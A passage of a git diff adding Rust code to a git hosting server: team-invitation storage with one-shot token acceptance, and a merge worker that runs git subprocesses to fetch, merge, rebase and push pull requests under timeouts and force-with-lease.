.map(|_| ()) + .map_err(|e| err(format!("mongo: {e}"))) + } + + /// Open invitations for a team, newest first. Expired ones are filtered here rather than + /// by a TTL index: Cosmos's Mongo API only expires on `_ts`, and a stale row that is + /// never shown and never accepted is harmless. + /// ponytail: expired rows accumulate; sweep them if the collection ever matters. + pub async fn invites_for(&self, team: &str) -> Result> { + use futures::TryStreamExt; + let cursor = self + .invites + .find(doc! { "team": team, "expiresAt": { "$gt": DateTime::now() } }) + .sort(doc! { "createdAt": -1 }) + .await + .map_err(|e| err(format!("mongo: {e}")))?; + cursor.try_collect().await.map_err(|e| err(format!("mongo: {e}"))) + } + + /// Withdraw an invitation. Scoped to the team in the filter so a caller who may act on + /// team A cannot revoke team B's invitation by knowing its id. + pub async fn revoke_invite(&self, team: &str, id: &str) -> Result { + let r = self + .invites + .delete_one(doc! { "_id": id, "team": team }) + .await + .map_err(|e| err(format!("mongo: {e}")))?; + Ok(r.deleted_count == 1) + } + + /// The invitation behind a token hash, if it is still open. + pub async fn invite(&self, id: &str) -> Result> { + self.invites + .find_one(doc! { "_id": id, "expiresAt": { "$gt": DateTime::now() } }) + .await + .map_err(|e| err(format!("mongo: {e}"))) + } + + /// Accept: the signed-in person joins with the invited role, and the invitation is spent. + /// + /// The email must match. An invitation is addressed to a person, and a link forwarded to + /// somebody else must not admit them — that would make every invite a bearer credential + /// for the team. Deleting the row FIRST is what makes it one-shot: two accepts race, one + /// delete wins, and only the winner adds the member. + pub async fn accept_invite(&self, id: &str, email: &str) -> Result { + let email = email.trim().to_lowercase(); + let Some(inv) = self.invite(id).await? else { return Ok(AcceptInvite::Gone) }; + if !inv.email.eq_ignore_ascii_case(&email) { + return Ok(AcceptInvite::WrongEmail); + } + let r = self + .invites + .delete_one(doc! { "_id": id }) + .await + .map_err(|e| err(format!("mongo: {e}")))?; + if r.deleted_count == 0 { + return Ok(AcceptInvite::Gone); + } + Ok(match self.add_member(&inv.team, &email, inv.role).await? { + AddMember::Added | AddMember::AlreadyMember => AcceptInvite::Joined(inv.team), + AddMember::NoSuchUser => AcceptInvite::NoSuchUser, + AddMember::NoSuchTeam => AcceptInvite::Gone, + }) + } +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +#[serde(rename_all = "camelCase")] +pub struct Invite { + /// Hex SHA-256 of the one-time token. See the module comment above `create_invite`. + #[serde(rename = "_id")] + pub id: String, + pub team: String, + /// Lowercased, like every email here; matched case-insensitively on accept regardless. + pub email: String, + pub role: Role, + pub invited_by: String, + pub created_at: DateTime, + pub expires_at: DateTime, +} + +#[derive(Debug, PartialEq, Eq)] +pub enum AcceptInvite { + Joined(String), + WrongEmail, + NoSuchUser, + Gone, +} + +#[derive(Debug, PartialEq, Eq)] +pub enum AddMember { + Added, + AlreadyMember, + NoSuchUser, + NoSuchTeam, +} + +#[derive(Debug, PartialEq, Eq)] +pub enum Membership { + Done, + NotAMember, + LastOwner, + NoSuchTeam, +} + +#[derive(Debug, PartialEq, Eq)] +pub enum DeleteTeam { + Deleted, + StillOwns { repos: u64 }, + NoSuchTeam, +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn pins_are_capped_deduped_and_must_exist() { + let repos = vec!["web".to_string(), "api".to_string(), "cli".to_string()]; + let ok = check_pins(&["web".into(), "api".into(), "web".into()], &repos).unwrap(); + assert_eq!(ok, vec!["web".to_string(), "api".to_string()], "duplicates collapse, order kept"); + assert!(check_pins(&["ghost".into()], &repos).is_err(), "a pin must name a repo of the team"); + let seven: Vec = (0..7).map(|i| format!("r{i}")).collect(); + assert!(check_pins(&seven, &seven).is_err(), "at most six pins"); + } + + #[test] + fn an_older_team_document_still_parses() { + let old = r#"{"_id":"acme","name":"Acme","createdBy":"a@x.io","createdAt":{"$date":{"$numberLong":"0"}},"members":[]}"#; + let t: Team = serde_json::from_str(old).unwrap(); + assert!(!t.public); + assert!(t.pins.is_empty()); + assert_eq!(t.tagline, ""); + } +} diff --git a/crates/pulls/src/lib.rs b/crates/pulls/src/lib.rs new file mode 100644 index 00000000..2948abc8 --- /dev/null +++ b/crates/pulls/src/lib.rs @@ -0,0 +1,10 @@ +//! Pull requests, the directory (people and teams), and the merge worker. +//! +//! Split out of the old single lib: the pull-request model is what the +//! worker links, the `check` feature is the gix-touching mergeability walk the worker must +//! never pull in, and the directory + merge worker cohabit here because pull requests and +//! merge jobs are the reason both exist. + +pub mod directory; +pub mod merge_worker; +pub mod pulls; diff --git a/crates/pulls/src/merge_worker.rs b/crates/pulls/src/merge_worker.rs new file mode 100644 index 00000000..803b485c --- /dev/null +++ b/crates/pulls/src/merge_worker.rs @@ -0,0 +1,1138 @@ +//! Merges, performed with the real `git` binary, off the node that owns the repo. +//! +//! Everything a merge needs is already spoken over the git protocol — fetch the two branches, +//! combine them, push the result — so the merge does not have to happen where the database is. +//! That matters because a repo's database has exactly one legitimate opener (see `CLAUDE.md`), +//! and merging is the one piece of pull-request work that is unbounded: a three-way merge of a +//! large tree is real CPU and real disk, and doing it on the node serving pushes for that repo +//! makes every push wait behind it. +//! +//! So the split is: the owner records state and serves the protocol, and this — running in the +//! worker — does the work against a bare clone cache over HTTP, authenticated as a peer. The push +//! goes back through `receive-pack`, which is what keeps BRANCH PROTECTION in force: a merge is +//! refused by exactly the rule that refuses a force push, because it *is* a push. +//! +//! `git` itself, not a library. An embedded libgit2 was tried and abandoned: this server serves +//! `upload-pack` over protocol **v2 only** (see `http::info_refs`), and libgit2 1.9 has no v2 +//! support at all — it cannot fetch from us. The binary is also the only implementation whose +//! merge semantics are the ones everybody's local `git merge` produces, which for a result that +//! lands in someone's history is the whole point. +//! +//! The peer secret reaches git as `-c http.extraHeader=…`, which puts it in the subprocess argv +//! and therefore in `/proc//cmdline` for the duration of the fetch or push. Accepted, not +//! overlooked: the worker pod is single-tenant and runs only this process, so anyone who can read +//! that procfs already has the pod's environment — where the secret lives anyway. The rule that +//! IS load-bearing is that it must never outlive the process: no log line, error or panic message +//! here may carry a networked command's argv (see `networked`). `git` has no way to take a header +//! off a file descriptor, which is why the argv is the only door. +//! +//! Nothing here opens a database, and nothing here is async: it is a sequence of subprocesses, so +//! callers run it on a blocking thread. + +use rustic_git_core::{err, Result}; +use std::path::{Path, PathBuf}; +use std::process::{Command, Stdio}; +use std::time::{Duration, Instant}; + +/// One merge to perform, as the owner handed it over on `claim`. +#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)] +#[serde(rename_all = "camelCase")] +pub struct Job { + pub owner: String, + pub name: String, + pub number: i64, + /// `fast-forward` | `squash` | `merge` | `rebase`. + pub strategy: String, + /// SHORT branch names, as the change stores them. + pub base: String, + pub head: String, + pub title: String, + #[serde(default)] + pub requested_by: String, +} + +/// How a merge ended, as the owner records it on `outcome`. +#[derive(Debug, Clone, Copy, PartialEq, Eq, serde::Serialize, serde::Deserialize)] +#[serde(rename_all = "lowercase")] +pub enum OutcomeState { + Merged, + /// The trees could not be combined without a person deciding what wins. + Conflicts, + /// Nothing was wrong with the merge itself — the fleet would not take it (a protection rule, + /// a base that moved), or the strategy does not apply to these branches. + Refused, +} + +#[derive(Debug, Clone, PartialEq, Eq, serde::Serialize, serde::Deserialize)] +#[serde(rename_all = "camelCase")] +pub struct Outcome { + pub state: OutcomeState, + /// Written for the person waiting, so it is git's own words wherever git had any. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub detail: Option, + /// The commit the base now points at. Only ever set alongside `Merged`. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub new_tip: Option, +} + +impl Outcome { + fn refused(why: impl Into) -> Outcome { + Outcome { + state: OutcomeState::Refused, + detail: Some(why.into()), + new_tip: None, + } + } + fn conflicts(why: String) -> Outcome { + Outcome { + state: OutcomeState::Conflicts, + detail: Some(why), + new_tip: None, + } + } +} + +/// What a mergeability check concluded, as the owner records it on `mergeability`. +/// +/// A trial merge answers only "would this combine": `fast_forward` is the owner's cheap ancestry +/// verdict and is always `false` here, because the owner only asks for a trial merge once it has +/// established the branches diverged. +#[derive(Debug, Clone, PartialEq, serde::Serialize, serde::Deserialize)] +#[serde(rename_all = "camelCase")] +pub struct Verdict { + pub state: crate::directory::MergeableState, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub detail: Option, + #[serde(default)] + pub fast_forward: bool, +} + +/// Is there a `git` to run at all? Checked at worker startup so a missing binary is a loud line in +/// the log, not a merge that mysteriously refuses an hour later. +pub fn available() -> bool { + Command::new("git") + .arg("--version") + .output() + .map(|o| o.status.success()) + .unwrap_or(false) +} + +/// The sentence a change gets when this worker has no `git`. A refusal rather than a silent +/// stall: the person waiting can see it, and it names the thing an operator has to fix. +const NO_GIT: &str = "this worker has no git binary installed; a merge cannot be performed"; + +/// Where a repo's bare clone cache lives under the worker's cache directory. +pub fn cache_of(cache: &Path, owner: &str, name: &str) -> PathBuf { + cache.join("merge").join(owner).join(format!("{name}.git")) +} + +/// The stamp the cache prune reads. Written on every use rather than trusting the directory's own +/// mtime, which a fetch that changes nothing does not move. +const USED: &str = ".last-used"; + +/// Delete caches nothing has touched in `age`. A cache is a pure derivative of the fleet, so +/// losing one costs a fetch, never data. +/// +/// ponytail: one flat sweep of `merge/*/*.git`, no size accounting — a single repo bigger than the +/// disk still fills it. Upgrade path: sort by size and evict to a byte budget. +pub fn prune(cache: &Path, age: std::time::Duration) -> usize { + let mut gone = 0; + let Ok(owners) = std::fs::read_dir(cache.join("merge")) else { + return 0; + }; + for owner in owners.flatten() { + let Ok(repos) = std::fs::read_dir(owner.path()) else { + continue; + }; + for repo in repos.flatten() { + let stale = std::fs::metadata(repo.path().join(USED)) + .and_then(|m| m.modified()) + .map(|t| t.elapsed().unwrap_or_default() > age) + // No stamp at all is a cache from before this existed, or a half-made one. + .unwrap_or(true); + if stale && std::fs::remove_dir_all(repo.path()).is_ok() { + gone += 1; + } + } + } + gone +} + +// --------------------------------------------------------------------------- +// Running git. +// +// Two shapes, deliberately kept apart: a LOCAL command, whose argv is safe to put in an error +// message, and a NETWORKED one, whose argv carries the peer secret in `-c http.extraHeader` and +// must therefore never reach a log, an error or a panic. +// --------------------------------------------------------------------------- + +/// The ceiling on ONE git subprocess, and on a whole job (`run`, `check`, `sync_branches`). +/// +/// `networked` already fails a transfer that stalls, but a `merge-tree` or `rebase` that never +/// returns has nothing watching it: it held its lane, its per-repo lock and — once the lane's +/// heartbeat went stale — the whole pod, taking every other lane's merge down with it. With a +/// ceiling the job fails as a JOB: `run` returns `Err`, the claim's lease lapses, the owner +/// re-announces, and the restart stays the last resort. Per-job as well as per-command because a +/// job is a sequence of commands, and sixteen of them each just under the line is still a wedged +/// lane. Seconds, via env; the job default sits under the liveness probe's 30 minute window. +fn cmd_timeout() -> Duration { + static T: std::sync::OnceLock = std::sync::OnceLock::new(); + *T.get_or_init(|| secs("RUSTIC_GIT_MERGE_CMD_TIMEOUT", 15 * 60)) +} +fn job_timeout() -> Duration { + static T: std::sync::OnceLock = std::sync::OnceLock::new(); + *T.get_or_init(|| secs("RUSTIC_GIT_MERGE_JOB_TIMEOUT", 25 * 60)) +} +fn secs(var: &str, default: u64) -> Duration { + Duration::from_secs( + std::env::var(var) + .ok() + .and_then(|v| v.parse().ok()) + .filter(|s| *s > 0) + .unwrap_or(default), + ) +} + +thread_local! { + /// When the job running on this thread must be done by. Thread-local rather than threaded + /// through every signature: a job is one blocking thread running subprocesses in sequence, + /// so the thread IS the job, and `out` is the one place every subprocess passes through. + static DEADLINE: std::cell::Cell> = const { std::cell::Cell::new(None) }; +} + +/// Run `f` as one job, under `job_timeout` — unless a job is already running on this thread, in +/// which case it is part of that job and keeps its deadline (`check` calls `sync_branches`). +fn as_job(timeout: Duration, f: impl FnOnce() -> T) -> T { + if DEADLINE.get().is_some() { + return f(); + } + DEADLINE.set(Some(Instant::now() + timeout)); + let r = f(); + DEADLINE.set(None); + r +} + +fn out(cmd: &mut Command) -> Result { + use std::os::unix::process::CommandExt; + let budget = match DEADLINE.get() { + Some(by) if by <= Instant::now() => { + return Err(err(format!( + "merge job timed out after {}s", + job_timeout().as_secs() + ))) + } + Some(by) => cmd_timeout().min(by - Instant::now()), + None => cmd_timeout(), + }; + // Its own process group, so the deadline can kill the whole tree: git forks helpers + // (`remote-http`, `pack-objects`) that hold the output pipes, and killing only the leader + // would leave `wait_with_output` waiting on a pipe an orphan still has open. + let child = cmd + .stdin(Stdio::null()) + .stdout(Stdio::piped()) + .stderr(Stdio::piped()) + .process_group(0) + .spawn() + .map_err(|e| err(format!("git: {e}")))?; + let pid = child.id() as i32; + // `wait_timeout` is not in std: a watchdog thread sleeps on a channel that closes when the + // child has been reaped, and only a timeout — not the close — fires the kill. The kill can + // race a normal exit by the width of a `drop`, which at worst reports a finished command as + // timed out; the pid cannot have been reused inside that window because the group is ours. + let (done, wake) = std::sync::mpsc::channel::<()>(); + let watchdog = std::thread::spawn(move || { + if wake.recv_timeout(budget) == Err(std::sync::mpsc::RecvTimeoutError::Timeout) { + unsafe { libc::kill(-pid, libc::SIGKILL) }; + return true; + } + false + }); + let o = child.wait_with_output(); + drop(done); + let killed = watchdog.join().unwrap_or(false); + let o = o.map_err(|e| err(format!("git: {e}")))?; + if killed { + return Err(err(format!("git timed out after {}s", budget.as_secs()))); + } + Ok(o) +} + +/// The last thing git said, for the person waiting. Its last non-empty line, because git puts the +/// actual reason there and the lines above it are progress. +fn stderr_tail(o: &std::process::Output) -> String { + String::from_utf8_lossy(&o.stderr) + .lines() + .rfind(|l| !l.trim().is_empty()) + .unwrap_or("git refused it and said nothing") + .trim() + .to_string() +} + +fn local(dir: &Path, args: &[&str]) -> Result { + out(Command::new("git").arg("-C").arg(dir).args(args)) +} + +/// A local command that must succeed, with its stdout trimmed. Naming the argv is safe here. +fn must(dir: &Path, args: &[&str]) -> Result { + let o = local(dir, args)?; + if !o.status.success() { + return Err(err(format!( + "git {}: {}", + args.join(" "), + stderr_tail(&o) + ))); + } + Ok(String::from_utf8_lossy(&o.stdout).trim().to_string()) +} + +/// A git command that talks to the fleet. +/// +/// The peer secret rides in `-c http.extraHeader`, so NOTHING here may put the argv into an error, +/// a log line or a panic message. `x-rustic-git-peer` admits the request on the peer listener; +/// `x-rustic-git-owner` is the identity it is served as, and the git routes authorize it exactly +/// as they would a token for that owner (see `http::open`). +fn networked(dir: &Path, secret: &str, owner: &str, args: &[&str]) -> Result { + out(Command::new("git") + .arg("-C") + .arg(dir) + .args([ + "-c", + &format!("http.extraHeader={}: {secret}", rustic_git_core::peer::PEER_HEADER), + ]) + .args([ + "-c", + &format!("http.extraHeader={}: {owner}", rustic_git_core::peer::OWNER_HEADER), + ]) + // Fail a transfer that has moved less than 1 KiB/s for a minute. Without this a half-open + // connection hangs the lane indefinitely: the lane's heartbeat goes stale and the pod is + // restarted, which takes every OTHER lane's work with it. With it the merge fails as a + // job — the claim's lease lapses, the owner re-announces, another lane picks it up — and + // the restart stays what it is meant to be, the last resort rather than the mechanism. + .args([ + "-c", + "http.lowSpeedLimit=1000", + "-c", + "http.lowSpeedTime=60", + ]) + .args(args) + // Never let git ask a human anything: there is no terminal here and nobody to answer, so a + // prompt would hang this lane until its heartbeat went stale. + .env("GIT_TERMINAL_PROMPT", "0") + .env("GIT_ASKPASS", "") + .env("SSH_ASKPASS", "")) +} + +/// The bare cache for this repo, brought up to date with the fleet. +/// +/// `init --bare` + `fetch` rather than `clone`-then-`fetch`: one code path instead of two, and a +/// bare clone has no `remote.origin.fetch` to reuse anyway. The refspec is forced and pruned, so +/// the cache is a MIRROR of the fleet's branches — never a merge of two histories of them, which +/// is what a plain fetch of a rewritten branch would leave behind. +fn sync(cache: &Path, upstream: &str, secret: &str, job: &Job) -> Result<(PathBuf, String)> { + let (dir, url) = sync_branches( + cache, + upstream, + secret, + &job.owner, + &job.name, + &[job.base.clone(), job.head.clone()], + )?; + Ok((dir, url)) +} + +/// The same, for a whole fan-out: ONE fetch carrying every branch the caller is about to work on. +/// +/// A `HeadMoved` fans out to up to `CHECK_LIMIT` diverged changes in one repo, and every one of +/// them wants the same cache brought up to date. Fetching per change was `CHECK_LIMIT` network +/// round trips, serialized under the same per-repo lock, for one repo's worth of refs — so the +/// caller fetches once here and then does purely local `merge-tree` work with `check_local`. +pub fn sync_branches( + cache: &Path, + upstream: &str, + secret: &str, + owner: &str, + name: &str, + branches: &[String], +) -> Result<(PathBuf, String)> { + as_job(job_timeout(), || { + sync_branches_inner(cache, upstream, secret, owner, name, branches) + }) +} + +fn sync_branches_inner( + cache: &Path, + upstream: &str, + secret: &str, + owner: &str, + name: &str, + branches: &[String], +) -> Result<(PathBuf, String)> { + let dir = cache_of(cache, owner, name); + if !dir.join("HEAD").exists() { + std::fs::create_dir_all(&dir).map_err(|e| err(format!("{}: {e}", dir.display())))?; + let o = out(Command::new("git").args(["init", "--bare", "-q"]).arg(&dir))?; + if !o.status.success() { + return Err(err(format!("git init --bare: {}", stderr_tail(&o)))); + } + } + let _ = std::fs::write(dir.join(USED), b""); + let url = format!("{}/{owner}/{name}.git", upstream.trim_end_matches('/')); + fetch(&dir, &url, secret, owner, branches)?; + Ok((dir, url)) +} + +fn fetch(dir: &Path, url: &str, secret: &str, owner: &str, branches: &[String]) -> Result<()> { + // Only the branches the caller named: every consumer of the cache (`run`, `check`, the + // rebase worktree, `commit_tree`'s log read) operates on the base and head tips and their + // history, so mirroring every branch was pure transfer. Forced and pruned per refspec, the + // cache still never keeps a rewritten history of THESE refs; other cached branches go stale + // harmlessly — nothing reads a ref a job did not name, and the next job naming one forces it. + let specs: Vec = branches + .iter() + .map(|b| format!("+refs/heads/{b}:refs/heads/{b}")) + .collect(); + let mut args: Vec<&str> = vec!["fetch", "--quiet", "--prune", "--force", url]; + args.extend(specs.iter().map(String::as_str)); + let o = networked(dir, secret, owner, &args)?; + if !o.status.success() { + // A branch deleted upstream fails a named refspec where the mirror silently pruned it — + // and `run`/`check` want to SEE the missing ref to refuse cleanly. One mirror fetch as + // the fallback keeps that path; the fast path never pays for it. + let o = networked( + dir, + secret, + owner, + &[ + "fetch", + "--quiet", + "--prune", + "--force", + url, + "+refs/heads/*:refs/heads/*", + ], + )?; + if !o.status.success() { + // The URL is safe to name — it is the caller's own configuration; the argv is not. + return Err(err(format!("fetching {url}: {}", stderr_tail(&o)))); + } + } + Ok(()) +} + +/// The conflicted paths named by `git merge-tree`'s output, in order and without repeats. +/// +/// The format (git ≥ 2.38, with `-z`) is NUL-separated records: the tree oid first, then one +/// ` \t` record per conflicted path PER STAGE, then an empty record, +/// then informational prose. Parsing the prose would invent files (a message naming a filename is +/// not a conflicted file) and counting records would triple the count, which is why this stops at +/// the empty record and dedupes. +pub fn conflicted_paths(stdout: &[u8]) -> Vec { + let mut out: Vec = Vec::new(); + for rec in stdout.split(|b| *b == 0).skip(1) { + if rec.is_empty() { + break; + } + let rec = String::from_utf8_lossy(rec); + let Some((meta, path)) = rec.split_once('\t') else { + continue; + }; + // Three fields, the last a single stage digit. Checked so a record shape we do not + // recognise is skipped rather than yielding a nonsense path. + let fields: Vec<&str> = meta.split(' ').collect(); + if fields.len() != 3 || !matches!(fields[2], "1" | "2" | "3") { + continue; + } + if !out.iter().any(|p| p == path) { + out.push(path.to_string()); + } + } + out +} + +/// "conflicts in: a, b (+3 more)" — the sentence the person waiting is shown. +pub fn conflict_detail(paths: &[String]) -> String { + const SHOWN: usize = 2; + /// A path can be as long as git allows, and this sentence is stored on the job and rendered in + /// a page. Truncated per path rather than on the whole string, so the second name cannot be + /// pushed out of view by a pathological first one. + const PATH_CAP: usize = 120; + if paths.is_empty() { + return "the branches conflict".to_string(); + } + let head = paths + .iter() + .take(SHOWN) + .map(|p| match p.char_indices().nth(PATH_CAP) { + Some((at, _)) => format!("{}…", &p[..at]), + None => p.clone(), + }) + .collect::>() + .join(", "); + match paths.len().saturating_sub(SHOWN) { + 0 => format!("conflicts in: {head}"), + n => format!("conflicts in: {head} (+{n} more)"), + } +} + +/// The three-way merge, as a tree and nothing else. `Ok(tree oid)` or the conflict outcome — +/// no object is written and no ref moves either way, so a conflict leaves nothing to clean up. +/// +/// Also the mergeability check: `check` calls it for exactly the same answer, which is what makes +/// "can this merge" and "merge this" agree by construction rather than by two implementations +/// happening to match. +fn tree_merge(dir: &Path, base: &str, head: &str) -> Result> { + let o = local( + dir, + &["merge-tree", "--write-tree", "--messages", "-z", base, head], + )?; + if o.status.success() { + let tree = o.stdout.split(|b| *b == 0).next().unwrap_or_default(); + return Ok(Ok(String::from_utf8_lossy(tree).trim().to_string())); + } + // Exit 1 is "they conflict"; anything else is git failing, which is not an answer. + if o.status.code() != Some(1) { + return Err(err(format!("merge-tree: {}", stderr_tail(&o)))); + } + Ok(Err(Outcome::conflicts(conflict_detail(&conflicted_paths( + &o.stdout, + ))))) +} + +/// Perform one merge and say how it went. +/// +/// `Err` is reserved for "could not find out" — the cache is unwritable, or the fleet was +/// unreachable. Those must NOT be reported as an outcome: the job stays claimed, its lease lapses, +/// and the owner re-announces it. Everything the merge itself can decide comes back as an +/// `Outcome`, including a missing `git`, which is a refusal a person can read and act on. +/// +/// Blocking: this shells out. Callers hold it off the runtime. +pub fn run(job: &Job, cache: &Path, upstream: &str, secret: &str) -> Result { + as_job(job_timeout(), || run_inner(job, cache, upstream, secret)) +} + +fn run_inner(job: &Job, cache: &Path, upstream: &str, secret: &str) -> Result { + if !available() { + return Ok(Outcome::refused(NO_GIT)); + } + let (dir, url) = sync(cache, upstream, secret, job)?; + // One spawn resolves all three ids a merge can need; rev-parse exits non-zero if any rev + // is unresolvable, which is exactly the "a branch is gone" answer. + let resolved = local( + &dir, + &[ + "rev-parse", + &format!("refs/heads/{}^{{commit}}", job.base), + &format!("refs/heads/{}^{{commit}}", job.head), + &format!("refs/heads/{}^{{tree}}", job.base), + ], + )?; + if !resolved.status.success() { + return Ok(Outcome::refused("one of the branches is gone")); + } + let ids: Vec = String::from_utf8_lossy(&resolved.stdout) + .lines() + .map(|l| l.trim().to_string()) + .collect(); + let [base_oid, head_oid, base_tree] = ids.as_slice() else { + return Err(err("rev-parse did not answer three ids")); + }; + let (base_oid, head_oid) = (base_oid.clone(), head_oid.clone()); + + // Already landed. A worker that merged and then lost the outcome POST — a crash, a network + // blip — gets the job back when its lease lapses, and must not mint a second commit for work + // that is already in the base. Checked before the strategy, because it is the same answer + // whichever one was asked for: the base contains the head, so there is nothing to combine. + // Catches fast-forward and merge, whose results keep the head as an ancestor. A squash's + // retry is caught by the merged-tree-equals-base-tree guard in the strategy arm below (the + // lease cannot see it: the retry re-resolves the base, so the lease holds). A rebase's retry + // self-heals — git skips commits whose patches are already upstream, and the push is a no-op. + if local(&dir, &["merge-base", "--is-ancestor", &head_oid, &base_oid])? + .status + .success() + { + return Ok(Outcome { + state: OutcomeState::Merged, + detail: Some("already merged".to_string()), + new_tip: Some(base_oid), + }); + } + + let new_tip = match job.strategy.as_str() { + "fast-forward" => { + if !local(&dir, &["merge-base", "--is-ancestor", &base_oid, &head_oid])? + .status + .success() + { + return Ok(Outcome::refused( + "not a fast-forward — use merge or squash, or rebase and push again", + )); + } + head_oid.clone() + } + "merge" | "squash" => { + let tree = match tree_merge(&dir, &base_oid, &head_oid)? { + Ok(t) => t, + Err(o) => return Ok(o), + }; + // A squash rewrites, so the ancestry guard above cannot see its own retry: after a + // pushed-but-unreported squash the base already carries the head's changes without + // carrying the head. The merged tree equalling the base's tree is that state — and + // also any genuinely empty change — and minting a commit for it would put junk in + // someone's permanent history. + if tree == *base_tree { + return Ok(Outcome { + state: OutcomeState::Merged, + detail: Some("already merged".to_string()), + new_tip: Some(base_oid), + }); + } + let parents: &[&str] = if job.strategy == "squash" { + &[&base_oid] + } else { + &[&base_oid, &head_oid] + }; + commit_tree( + &dir, + &tree, + parents, + &head_oid, + &format!("{} (#{})", job.title, job.number), + )? + } + "rebase" => match rebase(&dir, &base_oid, &head_oid)? { + Ok(t) => t, + Err(o) => return Ok(o), + }, + _ => { + return Ok(Outcome::refused( + "strategy must be fast-forward, squash, merge or rebase", + )) + } + }; + + // `--force-with-lease` against the tip this merge was computed FROM: a base that moved while + // we were merging must lose the push rather than have this land on top of a state it never + // saw. The lease is the only thing standing between a slow merge and someone else's commit + // being buried — the fleet's own compare-and-swap sees a fast-forward and would allow it. + let o = networked( + &dir, + secret, + &job.owner, + &[ + "push", + "--quiet", + &format!("--force-with-lease=refs/heads/{}:{base_oid}", job.base), + &url, + &format!("{new_tip}:refs/heads/{}", job.base), + ], + )?; + if !o.status.success() { + // A lost lease and a genuinely refused push look identical from here — git says "stale + // info" either way. If the merge is already IN the base, another worker computed the same + // result from the same base and won the race: recording Refused would show a merged + // change as failed AND swallow HeadMoved/PullMerged, because both fire off Merged. + if let Some(base) = landed_anyway(&dir, &url, secret, job, &head_oid) { + return Ok(Outcome { + state: OutcomeState::Merged, + detail: Some("already merged".to_string()), + new_tip: Some(base), + }); + } + // A protection rule, or a base that moved. Both are the fleet saying no to a merge that + // was otherwise fine, and both are the person's to read, so git's own last word is kept. + return Ok(Outcome::refused(stderr_tail(&o))); + } + Ok(Outcome { + state: OutcomeState::Merged, + detail: None, + new_tip: Some(new_tip), + }) +} + +/// Did this merge already land, despite our push being refused? +/// +/// Only ever called after a `--force-with-lease` failure, which is the shape a lost race takes: +/// another worker computed the same merge from the same base and won. Re-resolves the base from +/// the fleet (ours is stale by definition — the lease failed because the ref moved) and asks the +/// two questions `run` already asks before merging: does the base now contain the head +/// (fast-forward, merge, rebase), or does merging the two now produce the base's own tree +/// (squash, which rewrites and so leaves no ancestry behind). +/// +/// `Option`, not `Result`: every failure inside — a fetch that fails, a rev-parse that fails — +/// means "cannot prove it landed", which is the same answer as "it did not". Answering `None` is +/// the safe default, because it records the refusal git actually gave, which is what a protection +/// rule or a genuinely-moved base deserves. +fn landed_anyway(dir: &Path, url: &str, secret: &str, job: &Job, head_oid: &str) -> Option { + // An empty url means "already local" — the tests drive it that way; in production the fetch is + // the whole point, since our refs are stale by the time we get here. + if !url.is_empty() { + fetch( + dir, + url, + secret, + &job.owner, + &[job.base.clone(), job.head.clone()], + ) + .ok()?; + } + let base = must(dir, &["rev-parse", &format!("refs/heads/{}^{{commit}}", job.base)]).ok()?; + + if job.strategy == "squash" { + // A squash rewrites history, so the head is never an ancestor of what landed. The only + // evidence left is the content: if merging head into the new base yields exactly the + // base's own tree, the base already contains this work. + let base_tree = must(dir, &["rev-parse", &format!("{base}^{{tree}}")]).ok()?; + return match tree_merge(dir, &base, head_oid) { + Ok(Ok(t)) if t == base_tree => Some(base), + _ => None, + }; + } + local(dir, &["merge-base", "--is-ancestor", head_oid, &base]) + .ok() + .filter(|o| o.status.success()) + .map(|_| base) +} + +/// Write the merge commit, taking author AND committer from the head commit. +/// +/// Not from the clock, deliberately: the commit id is then a pure function of the two branches +/// and the message, so a merge retried after a lost outcome produces the SAME commit and lands as +/// a no-op instead of a duplicate. +fn commit_tree( + dir: &Path, + tree: &str, + parents: &[&str], + head: &str, + message: &str, +) -> Result { + let who = must(dir, &["log", "-1", "--format=%an%n%ae%n%at", head])?; + let mut lines = who.lines(); + let (name, mail, at) = ( + lines + .next() + .filter(|s| !s.is_empty()) + .unwrap_or("kloudlite"), + lines + .next() + .filter(|s| !s.is_empty()) + .unwrap_or("noreply@kloudlite.io"), + lines.next().filter(|s| !s.is_empty()).unwrap_or("0"), + ); + // A fixed zone, not the head commit's: the epoch second is what the id depends on, and + // pinning the offset keeps a retry byte-identical wherever it runs. + let when = format!("{at} +0000"); + let mut cmd = Command::new("git"); + cmd.arg("-C").arg(dir).args(["commit-tree", tree]); + for p in parents { + cmd.args(["-p", p]); + } + cmd.args(["-m", message]) + .env("GIT_AUTHOR_NAME", name) + .env("GIT_AUTHOR_EMAIL", mail) + .env("GIT_AUTHOR_DATE", &when) + .env("GIT_COMMITTER_NAME", name) + .env("GIT_COMMITTER_EMAIL", mail) + .env("GIT_COMMITTER_DATE", &when); + let o = out(&mut cmd)?; + if !o.status.success() { + return Err(err(format!("commit-tree: {}", stderr_tail(&o)))); + } + Ok(String::from_utf8_lossy(&o.stdout).trim().to_string()) +} + +/// Replay the head's commits onto the base, in a throwaway worktree. +/// +/// ponytail: a rebase needs an index and a checkout, so this is the one strategy that costs a full +/// working copy of the tree on disk and the IO to write it. Upgrade path: `merge-tree` per commit, +/// cherry-picking trees without a checkout, once there is a reason to pay for the extra machinery. +fn rebase(dir: &Path, base: &str, head: &str) -> Result> { + // Named for the pid so two lanes in one process cannot collide even if the per-repo lock is + // ever relaxed; removed on every exit below. + let wt = dir.with_extension(format!("wt.{}", std::process::id())); + let _ = std::fs::remove_dir_all(&wt); + let path = wt.to_string_lossy().to_string(); + let o = local(dir, &["worktree", "add", "--detach", "-f", &path, head])?; + if !o.status.success() { + return Err(err(format!("worktree add: {}", stderr_tail(&o)))); + } + let done = (|| -> Result> { + // No autostash (nothing to stash in a fresh worktree) and no signing, whatever the + // ambient config says: a passphrase prompt here has nobody to answer it. + // The replayed commits keep their original authors, but git still needs a COMMITTER + // ident, and the pod has no git config — use the head's author, the same rule + // `commit_tree` applies, so a retried rebase re-mints identical commits. + let ident = must(&wt, &["log", "-1", "--format=%an%n%ae", "HEAD"])?; + let (name, mail) = ident + .split_once('\n') + .unwrap_or(("rustic-git", "noreply@invalid")); + let o = out(Command::new("git") + .arg("-C") + .arg(&wt) + // `--committer-date-is-author-date` is what actually makes the claim above true: the + // replayed commits already keep their authors, but an unpinned committer date comes + // from the clock, so every replay minted NEW ids and a retried rebase pushed + // duplicates instead of landing as a no-op. + .args([ + "-c", + "commit.gpgsign=false", + "rebase", + "--committer-date-is-author-date", + base, + ]) + .env("GIT_COMMITTER_NAME", name) + 